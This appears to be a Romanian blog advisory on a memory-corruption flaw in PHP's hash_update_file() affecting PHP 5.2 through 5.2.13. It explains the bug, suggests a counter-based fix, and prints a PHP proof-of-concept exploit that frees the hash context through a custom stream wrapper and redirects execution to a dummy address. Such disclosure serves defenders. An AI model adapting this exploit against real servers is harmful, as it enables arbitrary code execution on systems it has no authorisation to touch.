Vulnerabilitate PHP în funcţia hash_update_file()


Versiuni afectate: PHP 5.2 <=5.2.13
Consecinţe: Acces nesancţionat la resurse, executarea codului maliţios.
Instrucţiuni oficiale de utilizare a funcţiei: http://php.net/manual/en/function.hash-update-file.php

Descriere:

La chemarea funcţiei hash_update_file (), în primul rând se încearcă accesarea resurselor de date pentru o prelucrare ulterioară. Apoi se citesc datele din fluxul de date(stream) în scopul de hashing. O modificare maliţioasă a handler-ului către stream, poate distruge resursa hash din handler-ul citit la moment şi poate condiţiona înlocuirea handler-ului cu un altul, care conţine o modificare a tabelului de pointeri cu hash-uri. La continuarea procesului de hashing de către funcţia internă se va apela pointer-ul rescris şi se va încerca executarea unui cod maliţios.

Exploatarea vulnerabilităţii

Următorul script va încerca să exploateze această vulnerabilitate şi să cauzeze o execuţie în adresa 0×55555555, care în mod normal ar trebui să eşueze.

<?php
/* PHP hash_update_file() exploit
 * Exploit-ul e luat de pe milworm.com
*/
define("OFFSET", pack("L",0x55555555));
class AttackStream {
function stream_open($path, $mode, $options, &$opened_path)
{
return true;
}
function stream_read($count)
{
hash_final($GLOBALS['hid'], true);
$GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
return "A";
}
function stream_eof()
{
return true;
}
function stream_seek($offset, $whence)
{
return false;
}
}
stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");
$hid = hash_init('md5');
hash_update_file($hid, "attack://nothing");
?>

Măsuri de control

Pentru a elimina posibilitatea de exploatare a acestei vulnerabilităţi este implementarea unui contor în funcţiile interne. Biblioteca CURL din PHP are deja implementat acest mecanism, şi nu e vulnerabilă.

Inspirat din Month of PHP Security.

, ,

  1. No comments yet.

(will not be published)